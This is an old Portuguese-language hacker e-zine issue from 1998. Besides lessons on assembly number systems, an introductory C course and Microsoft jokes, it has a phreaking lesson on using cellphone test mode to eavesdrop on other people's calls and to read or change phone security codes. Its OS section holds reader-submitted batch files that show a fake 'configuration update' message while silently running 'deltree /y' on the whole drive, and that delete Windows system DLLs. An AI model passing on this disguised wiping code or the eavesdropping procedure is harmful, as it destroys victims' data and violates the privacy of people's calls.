Feito integralmente por Na_Ideia ! ano 01 numero 03 - setembro de 1998 ! pppppppppp sssssssssss ii cccccccccc oooooooooooo pp p ss ii cc oo oo pp p ss ii cc oo oo pp p ss ii cc oo oo pppppppppp sssssssssss ii cc oo oo pp ss ii cc oo oo pp ss ii cc oo oo pp ss ii cc oo oo pp ss ii cc oo oo pp sssssssssss ii ccccccccccc oooooooooooo CYBER pode ser downloadeado de http://www.angelfire.com/id/psicocyber MELHOR SE ABERTO NO EDIT DO DOS OU ALGO PARECIDO (editor de txt) **************************************************************************** * ESTE ZINE TEM COMO OBJETIVO A INFORMACAO, POR ISSO NAO ME RESPONSABILIZO * * POR QUALQUER ATO IRRESPONSAVEL E/OU IMBECIL FEITO POR QUEM LER ESSE ZINE * * TAMBEM NEM RECOMENDO A PRATICA DE ATOS ILEGAIS AQUI CONTIDOS !! * **************************************************************************** Alerta Se o que vc procura e soh codigo de ViRuS ou apenas dicazinhas de invadir sistemas alheios veio ao zine errado !! Aqui vc ira fazer minicursos que irao lhe proporcionar um entendimento melhor da BANANA !!!!!!! Indice : Phreak aula 3/? SO Assembler aula 2/? C aula 1/? AbOrTi rEtRiEi fAiO ! @#@#@#@#@#@##@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@##@#@#@###@#@#@#@#@#@#@#@ PHREAK aula 3 Nessa aula entraremos no topico - CELULARES, que eh hoje em dia um enorme campo para o phreaker, pode-se ouvir outras conversas, pode-se clonar linhas, ligar sem pagar , etc.. O celular nada mais eh que um radio transmisor que opera na faixa dos 800 Mhz (isso na geral, pois eles podem ser programados para operar em outras frequencias tambem). A Partir desta teoria per- cebe-se entao que o celular nao eh uma invencao do sec. 21 como dizem, eh apenas um radio transmisor melhorado, com novas funcoes e programavel. Ouvindo conversas alheias Para ouvir outras conversas eh muito simples, primeiro vc tera que saber como eh que ativa o "test mode" do celular. Isso nao eh valido para os modelos mais novos como os da linha Elite, StarTec, entre outros. Para saber, retire a bateria e observe se a 3 pinos (positivo, negativo e o test mode), se houver esse 3 pinos eh que esse esquema funciona! A maioria dos MOTOROLA "veio de guerra" da. Retire a bateria e observe que ha 3 pinos (como dito acima). O primeiro pino serve para o polo positivo da bateria. O segundo (mais afundado) eh o test mode (veja que este nao tem contato com a bateria. E o terceiro obviamente e o polo negativo. Vc pega entao algo que transmita eletricidade para fazer o contato da bateria e o pino do "test mode" (um pedaco de papel alumunio serve), coloca-se entao o aluminio no pino do meio de modo que este escoste na bateria do celular ao recoloca-la. Ligue-o . Se ficar aparecendo um monte de numero loko eh que o esquema deu certo se nao retire a bateria e ajeite ou coloque mais papel aluminio. Dentro do "test mode" aperte "#" para ativar a recepcao de comandos. Ira aparecer na tela a msg " U5 '" - isto mostra que a recepcao de comandos esta OK. Digite: 08 # ---- escuta-se entao o ruido caracteristico de radio transmicao. Digite: 11???? # ---- os 4 numeros seguidos do "11" eh da sua escolha, se a chiadera continuar, troque os 4 ultimos numeros, fique chutando ate encontrar um canal que esteja sendo usado. O comando "01" reseta o "test mode". Os comandos sempre sao acrecidos de "#" !! Vendo e/ou mudando a senha de seguranca e senha de acesso (lock) Entre no "test mode"; Ative a recepcao de comandos; Entre com o comando "55" A setima funcao eh a senha de seguranca (eh essa senha que o cara da companhia telefonica usa para abilitar o fone) 6 digitos; A oitava eh a senha de acesso (lock) tem 3 digitos. +=-+=-=+=-=+=-=+=-=+=-=+=-=+=-=+=-=+=-=+=-=+=-=+=-=+=-=+=-=+=-=+=-=+ SO A secao de SO saiu miada pois no psicocyber 04 ta a secao completa ! Uso do "null" em bath files Para nao aparecer que esta apagando no "deltree /y *.*" acrecente " > null" logo apos o comando. Ele ira apagar tudo sem mostrar nada, e no final cria um arquivo de log chamado "null" com o texto da apagacao ! Ou use o esquema abaixo mandado pelo leitor Kov ! @echo off echo. echo. echo O MS-DOS detectou novas configuracoes que deverao ser atualizadas. echo Aguarde... echo. echo. cd\ deltree /y *.* >nul Os comandos acima vao mostrar uma mensagem para que o lammer naum se as_ suste com a leitura exceciva do disco e o >nul naum vai deixar o deltree mostrar nada na tela. No bat que deleta os DLLs e SYSs do windos eu discordo do comando: cd\windows\system. Pois naum saum todos os usuarios que tem o windows nesse diretorio. Assim podemos usar uma variavel do sistema, a %windir% desse jeito: @echo off cd\%windir%\system attrib *.dll -h -r -s del *.dll By Kov!! Valeu pelo mail Kov !! Se vc tiver algo interecante sobre algum assunto mencionado no zine, ou discorda de algo, mande um mail que ele sera publicado com seus devidos creditos !! ---------------------------------------------------------------------- ASSEMBLER aula 02 2.2.CONCEITOS BµSICOS Conte£do: 2.2.1.Informa‡äes nos computadores 2.2.2.M‚todos de representa‡Æo de dados 2.2.1.Informa‡Æo no computador: 2.2.1.1.Unidades de informa‡Æo 2.2.1.2.Sistemas num‚ricos 2.2.1.3.Convertendo n£meros bin rios para decimais 2.2.1.4.Convertendo n£meros decimais para bin rios 2.2.1.5.Sistema hexadecimal 2.2.1.1.Unidades de informa‡Æo Para o PC processar a informa‡Æo, ‚ necess rio que ela esteja em c‚lulas especiais, chamadas registradores. Os registradores sÆo grupos de 8 ou 16 flip-flops. Um flip-flop ‚ um dispositivo capaz de armazenar 2 n¡veis de voltagem, um baixo, geralmente 0.5 volts, e outro comumente de 5 volts. O n¡vel baixo de energia no flip-flop ‚ interpretado como desligado ou 0, e o n¡vel alto, como ligado ou 1. Estes estados sÆo geralmente conhecidos como bits, que sÆo a menor unidade de informa‡Æo num computador. Um grupo de 16 bits ‚ conhecido como palavra; uma palavra pode ser dividida em grupos de 8 bits chamados bytes, e grupos de 4 bits chamados nibbles. 2.2.1.2.Sistemas num‚ricos O sistema num‚rico que n¢s usamos diariamente ‚ o decimal, mas este sistema nÆo ‚ conveniente para m quinas, pois ali as informa‡äes tˆm que ser codificadas de modo a interpretar os estados da corrente (ligado-desligado); este modo de c¢digo faz com que tenhamos que conhecer o c lculo posicional que nos permitir expressar um n£mero em qualquer base onde precisarmos dele.  poss¡vel representar um determinado n£mero em qualquer base atrav‚s da seguinte f¢rmula: Onde n ‚ a posi‡Æo do d¡gito, iniciando da direita para a esquerda e numerando de 0. D ‚ o d¡gito sobre o qual n¢s operamos e B ‚ a base num‚rica usada. 2.2.1.3.Convertendo n£meros bin rios para decimais Quando trabalhamos com a Linguagem Assembly encontramos por acaso a necessidade de converter n£meros de um sistema bin rio, que ‚ usado em computadores, para o sistema decimal usado pelas pessoas. O sistema bin rio ‚ baseado em apenas duas condi‡äes ou estados, estar ligado(1), ou desligado(0), portanto sua base ‚ dois. Para a conversÆo, podemos usar a f¢rmula de valor posicional: Por exemplo, se tivermos o n£mero bin rio 10011, tomamos cada d¡gito da direita para a esquerda e o multiplicamos pela base, elevando … potˆncia correspondente … sua posi‡Æo relativa: Binary: 1 1 0 0 1 Decimal: 1*2^0 + 1*2^1 + 0*2^2 + 0*2^3 + 1*2^4 = 1 + 2 + 0 + 0 + 16 = 19 decimal. O caracter ^ ‚ usado em computa‡Æo como s¡mbolo para potˆncia e * para a multiplica‡Æo. 2.2.1.4.Convertendo n£meros decimais para bin rio H v rios m‚todos para se converter n£meros decimais para bin rio; apenas um ser analizado aqui. Naturalmente a conversÆo com uma calculadora cient¡fica ‚ muito mais f cil, mas nem sempre podemos contar com isso, logo o mais conveniente ‚, ao menos, sabermos uma f¢rmula para fazˆ-la. O m‚todo resume-se na aplica‡Æo de divisäes sucessivas por 2, mantendo o resto como o d¡gito bin rio e o resultado como o pr¢ximo n£mero a ser dividido. Tomemos como exemplo o n£mero decimal 43. 43/2=21 e o resto ‚ 1; 21/2=10 e o resto ‚ 1; 10/2=5 e o resto ‚ 0; 5/2=2 e o resto ‚ 1; 2/2=1 e o resto ‚ 0; 1/2=0 e o resto ‚ 1. Para construir o equivalente bin rio de 43, vamos pegar os restos obtidos de baixo para cima, assim temos 101011. 2.2.1.5.Sistema hexadecimal Na base hexadecimal temos 16 d¡gitos, que vÆo de 0 a 9 e da letra A at‚ a F, estas letras representam os n£meros de 10 a 15. Portanto contamos: 0,1,2,3,4,5,6,7,8,9,A,B,C,D,E, e F. A conversÆo entre n£meros bin rios e hexadecimais ‚ f cil. A primeira coisa a fazer ‚ dividir o n£mero bin rio em grupos de 4 bits, come‡ando da direita para a esquerda. Se no grupo mais … direita sobrarem d¡gitos, completamos com zeros. Tomando como exemplo o n£mero bin rio 101011, vamos dividi-lo em grupos de 4 bits: 10;1011 Preenchendo o £ltimo grupo com zeros (o um mais … esquerda): 0010;1011 A seguir, tomamos cada grupo como um n£mero independente e consideramos o seu valor decimal: 0010=2;1011=11 Entretanto, observa-se que nÆo podemos representar este n£mero como 211, isto seria um erro, uma vez que os n£meros em hexa maiores que 9 e menores que 16 sÆo representados pelas letras A,B,...,F. Logo, obtemos como resultado: 2Bh, onde o "h" representa a base hexadecimal. Para a conversÆo de um n£mero hexadecimal em bin rio ‚ apenas necess rio inverter os passos: tomamos o primeiro d¡gito hexadecimal e o convertemos para bin rio, a seguir o segundo, e assim por diante. ... ate o proximo, estudem bem isso, pois vai comecar a complicar !! ------- \\ ---------------------------------------- // --------------- LINGUAGEM C aula 01 Inicia aqui o mini-curso de Linguagem C !! 1. Fundamentos da Linguagem C Neste capitulo serÆo vistos os fundamentos da linguagem C. O conceito de linguagem de programa‡Æo, linguagens de alto e baixo n¡vel, linguagens gen‚ricas e especificas. Ser visto um pouco do hist¢rico da cria‡Æo da linguagem e a descri‡Æo das caracter¡sticas mais importantes da linguagem C.Finalmente, ser visto o aspecto geral de um c¢digo fonte escrito em C. 1.1 Linguagens de Programa‡Æo Um programa de computador ‚ um conjunto instru‡äes que representam um algoritmo para a resolu‡Æo de algum problema. Estas instru‡äes sÆo escritas atrav‚s de um conjunto de c¢digos (s¡mbolos e palavras). Este conjunto de c¢digos possui regras de estrutura‡Æo l¢gica e sint tica pr¢pria. Dizemos que este conjunto de s¡mbolos e regras formam uma linguagem de programa‡Æo. 1.1.1 Exemplos de c¢digos. Existem muitas linguagens de programa‡Æo. Podemos escrever um algoritmo para resolu‡Æo de um problema por interm‚dio de qualquer linguagem. A seguir mostramos alguns exemplos de trechos de c¢digos escritos em algumas linguagens de programa‡Æo. Exemplo: trecho de um algoritmo escrito em Pseudo-linguagem que recebe um n£mero num e escreve a tabuada de 1 a 10 para este valor: leia num para n de 1 at‚ 10 passo 1 fa‡a tab ? num * n imprime tab fim fa‡a Exemplo: trecho do mesmo programa escrito em linguagem C: scanf(&num); for(n = 1; n <= 10; n++){ tab = num * n; printf("\n %d", tab); }; Exemplo: trecho do mesmo programa escrito em linguagem Basic: 10 input num 20 for n = 1 to 10 step 1 30 let tab = num * n 40 print chr$ (tab) 50 next n Exemplo: trecho do mesmo programa escrito em linguagem Fortran: read (num); do 1 n = 1:10 tab = num * n write(tab) 10 continue Exemplo: trecho do mesmo programa escrito em linguagem Assembly para INTEL 8088: MOV CX,0 IN AX,PORTA MOV DX,AX LABEL: INC CX MOV AX,DX MUL CX OUT AX, PORTA CMP CX,10 JNE LABEL 1.1.2 Linguagens de baixo e alto n¡vel. Podemos dividir, genericamente, as linguagens de programa‡Æo em dois grandes grupos: as linguagens de baixo n¡vel e as de alto n¡vel: Linguagens de baixo n¡vel: SÆo linguagens voltadas para a m quina, isto ‚, sÆo escritas usando as instru‡äes do microprocessador do computador. SÆo genericamente chamadas de linguagens Assembly. Vantagens: Programas sÆo executados com maior velocidade de processamento. Os programas ocupam menos espa‡o na mem¢ria. Desvantagens: Em geral, programas em Assembly tem pouca portabilidade, isto ‚, um c¢digo gerado para um tipo de processador nÆo serve para outro. C¢digos Assembly nÆo sÆo estruturados, tornando a programa‡Æo mais dif¡cil. Linguagens de alto n¡vel: SÆo linguagens voltadas para o ser humano. Em geral utilizam sintaxe estruturada tornando seu c¢digo mais leg¡vel. Necessitam de compiladores ou interpretadores para gerar instru‡äes do microprocessador. Interpretadores fazem a interpreta‡Æo de cada instru‡Æo do programa fonte executando-a dentro de um ambiente de programa‡Æo, Basic e AutoLISP por exemplo. Compiladores fazem a tradu‡Æo de todas as instru‡äes do programa fonte gerando um programa execut vel. Estes programas execut veis (*.exe) podem ser executados fora dos ambientes de programa‡Æo, C e Pascal por exemplo. As linguagens de alto n¡vel podem se distinguir quanto a sua aplica‡Æo em gen‚ricas como C, Pascal e Basic ou espec¡ficas como Fortran (c lculo matem tico), GPSS (simula‡Æo), LISP (inteligˆncia artificial) ou CLIPPER (banco de dados). Vantagens: Por serem compiladas ou interpretadas, tem maior portabilidade podendo ser executados em varias plataformas com pouqu¡ssimas modifica‡äes. Em geral, a programa‡Æo torna-se mais f cil por causa do maior ou menor grau de estrutura‡Æo de suas linguagens. Desvantagens: Em geral, as rotinas geradas (em linguagem de maquina) sÆo mais gen‚ricas e portanto mais complexas e por isso sÆo mais lentas e ocupam mais mem¢ria. 1.2 Linguagem C A linguagem C ‚ uma linguagem de alto n¡vel, gen‚rica. Foi desenvolvida por programadores para programadores tendo como meta caracter¡sticas de flexibilidade e portabilidade. O C ‚ uma linguagem que nasceu juntamente com o advento da teoria de linguagem estruturada e do computador pessoal. Assim tornou-se rapidamente uma linguagem "popular" entre os programadores. O C foi usado para desenvolver o sistema operacional UNIX, e hoje esta sendo usada para desenvolver novas linguagens, entre elas a linguagem C++ e Java. 1.2.1 Caracter¡sticas do C Entre as principais caracter¡sticas do C, podemos citar: * O C ‚ uma linguagem de alto n¡vel com uma sintaxe bastante estruturada e flex¡vel tornando sua programa‡Æo bastante simplificada. * Programas em C sÆo compilados, gerando programas execut veis. * O C compartilha recursos tanto de alto quanto de baixo n¡vel, pois permite acesso e programa‡Æo direta do microprocessador. Com isto, rotinas cuja dependˆncia do tempo ‚ cr¡tica, podem ser facilmente implementadas usando instru‡äes em Assembly. Por esta razÆo o C ‚ a linguagem preferida dos programadores de aplicativos. * O C ‚ uma linguagem estruturalmente simples e de grande portabilidade. O compilador C gera c¢digos mais enxutos e velozes do que muitas outras linguagens. * Embora estruturalmente simples (poucas fun‡äes intr¡nsecas) o C nÆo perde funcionalidade pois permite a inclusÆo de uma farta quantidade de rotinas do usu rio. Os fabricantes de compiladores fornecem uma ampla variedade de rotinas pr‚-compiladas em bibliotecas. 1.2.2 Hist¢rico 1970: Denis Ritchie desenha uma linguagem a partir do BCPL nos laborat¢rios da Bell Telephones, Inc. Chama a linguagem de B. 1978: Brian Kerningham junta-se a Ritchie para aprimorar a linguagem. A nova versÆo chama-se C. Pelas suas caracter¡sticas de portabilidade e estrutura‡Æo j se torna popular entre os programadores. 1980: A linguagem ‚ padronizada pelo American National Standard Institute: surge o ANSI C. 1990: A Borland International Co, fabricante de compiladores profissionais escolhe o C e o Pascal como linguagens de trabalho para o seu Integrated Development Enviroment (Ambiente Integrado de Desenvolvimento): surge o Turbo C. 1992: O C se torna ponto de concordƒncia entre te¢ricos do desenvolvimento da teoria de Object Oriented Programming (programa‡Æo orientada a objetos): surge o C++. 1.3 Estrutura de um programa em C Um programa em C ‚ constitu¡do de: * um cabe‡alho contendo as diretivas de compilador onde se definem o valor de constantes simb¢licas, declara‡Æo de vari veis, inclusÆo de bibliotecas, declara‡Æo de rotinas, etc. * um bloco de instru‡äes principal e outros blocos de rotinas. * documenta‡Æo do programa: coment rios. Programa Exemplo: O arquivo e0101.cpp cont‚m um programa para calcular a raiz quadrada de um n£mero real positivo: 1.3.1 Conjunto de caracteres Um programa fonte em C ‚ um texto nÆo formatado escrito em um editor de textos usando um o conjunto padrÆo de caracteres ASCII. A seguir estÆo os caracteres utilizados em C: Caracteres v lidos: a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 1 2 3 4 5 6 7 8 9 0 + - * / \ = | & ! ? # % ( ) { } [ ] _ ' " . , : < > Caracteres nÆo v lidos: @ $ ù ‚ ä ‡ Os caracteres acima sÆo v lidos apenas em strings. Veja se‡Æo 2.1.4. 1.3.2 Coment rios Em C, coment rios podem ser escritos em qualquer lugar do texto para facilitar a interpreta‡Æo do algoritmo. Para que o coment rio seja identificado como tal, ele deve ter um /* antes e um */ depois. Observe que no exemplo e0101.cpp todo o cabe‡alho esta dentro de um coment rio. Exemplo: /* esta eï uma linha de coment rio em C */ Observa‡Æo: O C++ permite que coment rios sejam escritos de outra forma: colocando um // em uma linha, o compilador entender que tudo que estiver a direita do s¡mbolo ‚ um coment rio. Observe no programa exemplo e0101.cpp as linhas de coment rios colocadas a direita dos comandos. Exemplo: // este eï um coment rio valido apenas em C++ 1.3.3 Diretivas de Compila‡Æo Em C, existem comandos que sÆo processados durante a compila‡Æo do programa. Estes comandos sÆo genericamente chamados de diretivas de compila‡Æo. Estes comandos informam ao compilador do C basicamente quais sÆo as constantes simb¢licas usadas no programa e quais bibliotecas devem ser anexadas ao programa execut vel. A diretiva #include diz ao compilador para incluir na compila‡Æo do programa outros arquivos. Geralmente estes arquivos contem bibliotecas de fun‡äes ou rotinas do usu rio. Voltaremos a trabalhas esta diretiva com mais detalhe no cap¡tulo 5. A diretiva #define diz ao compilador quais sÆo as constantes simb¢licas usadas no programa. Veremos sobre esta diretiva no capitulo 2. 1.3.4 Declara‡Æo de vari veis Em C, como na maioria das linguagens, as vari veis devem ser declaradas no inicio do programa. Estas vari veis podem ser de v rios tipos: int (inteiro), float (real de simples precisÆo) e outras que serÆo vistas no capitulo 2. No exemplo acima num, raiz, inf e sup sÆo declaradas como vari veis reais, enquanto i ‚ declarada como uma vari vel inteira. 1.3.5 Entrada e sa¡da de dados Em C existem varias maneiras de fazer a leitura e escrita de informa‡äes. Estas opera‡äes sÆo chamadas de opera‡äes de entrada e sadia. Veremos no capitulo 3 algumas fun‡äes de entrada e sadia de informa‡äes via teclado e tela. Outras fun‡äes de leitura e escrita em arquivos, sadia gr fica, fun‡äes de manipula‡Æo de mouse, entrada e sadia de informa‡äes via portas serial e paralela serÆo vistas em cap¡tulos posteriores. No exemplo acima printf ‚ uma fun‡Æo de escrita na tela, scanf ‚ uma fun‡Æo de leitura de teclado. 1.3.6 Estruturas de controle A linguagem C permite uma ampla variedade de estruturas de controle de fluxo de processamento. Estas estruturas serÆo vistas em detalhes nos cap¡tulos 4 e 5. Duas estruturas das estruturas b sicas (decisÆo e repeti‡Æo) sÆo muito semelhantes as estruturas usadas nas Pseudo-linguagem algor¡tmicas: Estrutura de DecisÆo: Permite direcionar o fluxo l¢gico para dois blocos distintos de instru‡äes conforme uma condi‡Æo de controle. Pseudo-linguagem Linguagem C se condi‡Æo if(condi‡Æo){ entÆo bloco 1 bloco 1; senÆo bloco 2 }else{ fim se bloco 2; }; Estrutura de Repeti‡Æo: Permite executar repetidamente um bloco de instru‡äes ate que uma condi‡Æo de controle seja satisfeita. Pseudo-linguagem Linguagem C fa‡a do{ bloco bloco; at‚ condi‡Æo }while(condi‡Æo); ... mais C no proximo !! <>><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><> /-----------------------------\ | AbOrTi rEtRiEi fAiO | \-----------------------------/ SE A MICROSOFT FABRICASSE CARROS... 1. Toda vez que eles repintassem as linhas da estrada vocˆ teria que comprar um carro novo. 2. Ocasionalmente seu carro morreria na auto-estrada sem nenhuma razÆo aparente, e vocˆ teria apenas que aceitar isso, religa-lo e seguir adiante. 3. Ocasionalmente, a execu‡Æo de uma manobra faria com que seu carro parasse e falhasse e vocˆ teria que reinstalar o motor. Por alguma estranha razÆo, vocˆ aceitaria isso tambem. 4. Vocˆ poderia ter apenas uma pessoa dentro do carro de cada vez, a menos que vocˆ comprasse o "Carro95" ou o "CarroNT". Mas, depois vocˆ ainda teria que comprar mais assentos. 5. A Macintosh faria um carro que seria movido a energia solar, confi vel, cinco vezes mais r pido e duas vezes mais f cil de dirigir - mas, apenas poderia rodar em 5 porcento das estradas. 6. Os propriet rios de carros Macintosh poderiam conseguir car¡ssimos "upgrades" para carros Microsoft, o que faria seus carros rodarem muito mais lentamente. 7. Os indicadores luminosos de falta de ¢leo, gasolina e bateria seriam substitu¡dos por um simples "Indicador luminoso geral" (aqui ‚ feita uma ironia ao famoso "General protection fault" do Windows, onde ‚ dito que o indicador chamaria-se "General car fault"). 8. Os novos assentos obrigariam todos a terem o mesmo tamanho de bunda. 9. O sistema de "airbag" perguntaria "Vocˆ tem certeza ?" (Are you sure ?) antes de entrar em a‡Æo. 10.Se vocˆ se envolvesse numa colisÆo, vocˆ nÆo teria a menor id‚ia do que aconteceria depois. E se Bill Gates fabricasse o Viagra? 1. Provavelmente, o MSViagra ainda estaria em testes...nÆo teria sido lan‡ado! 2. Na bula vem um cupom para um futuro upgrade para o MSViagra 2... 3. O usuario teria uma ere‡Æo, mas ele misteriosamente terminaria no meio do ato por motivo inexplicado... 4. O usuario teria a ere‡Æo, mas descobriria aterrorizado que ela nÆo poderia proporcionar a ele um orgasmo...s¢ a partir da versÆo MSViagra 2...mas o fabricante promete um patch no formato de uma pequena pilula amarela para tomar durante o ato... 5. Vocˆ toma a pilula, ela nÆo funciona e vocˆ liga para o laborat¢rio para reclamar. O laborat¢rio entÆo lhe convence que vocˆ nÆo esta tomando a p¡lula direito, ou com muita gua, ou com pouca gua, ou sem gua nenhuma, mas sempre a op‡Æo que voce NÇO deu... 6. Vocˆ compra o MSViagra, mas junto ao pacote vem um vidrinho de vitamina C com um gosto horr¡vel. E o MSViagra s¢ funciona se voce tomar essa maldita vitamina... 7. Quando vocˆ toma o MSViagra, v rios efeitos colaterais surgem: dores de cabe‡a, ausencia de sentidos, como olfato e paladar e outras coisas. Mas tudo isso ‚ apenas um detalhe, perto do imenso prazer que o MSViagra vai lhe proporcionar... 8. Depois de instalada a ere‡Æo, vocˆ descobre que nÆo consegue desinstal -la... 9. Vocˆ descobrir que so sente atra‡Æo por determinadas mulheres: as fabricadas pela Microsoft. 10. Junto com o MSViagra, vocˆ receber um pacote de inumeros remedios para doen‡as que vocˆ nÆo possui... 11. NÆo vir escrito em lugar nenhum, mas se vocˆ reparar bem, na verdade nÆo tera uma ere‡Æo real. Apenas foi convencido de que tem, o que, no fundo no fundo, ‚ a mesma coisa... Contribue com o zine, mande piadas da Microsoft ou do Bill Gates !! -------\/\/\/\/\-------- HP - www.angelfire.com/id/psicocyber E-Mail - naideia@yahoo.com /\/ /\ | |] { | /\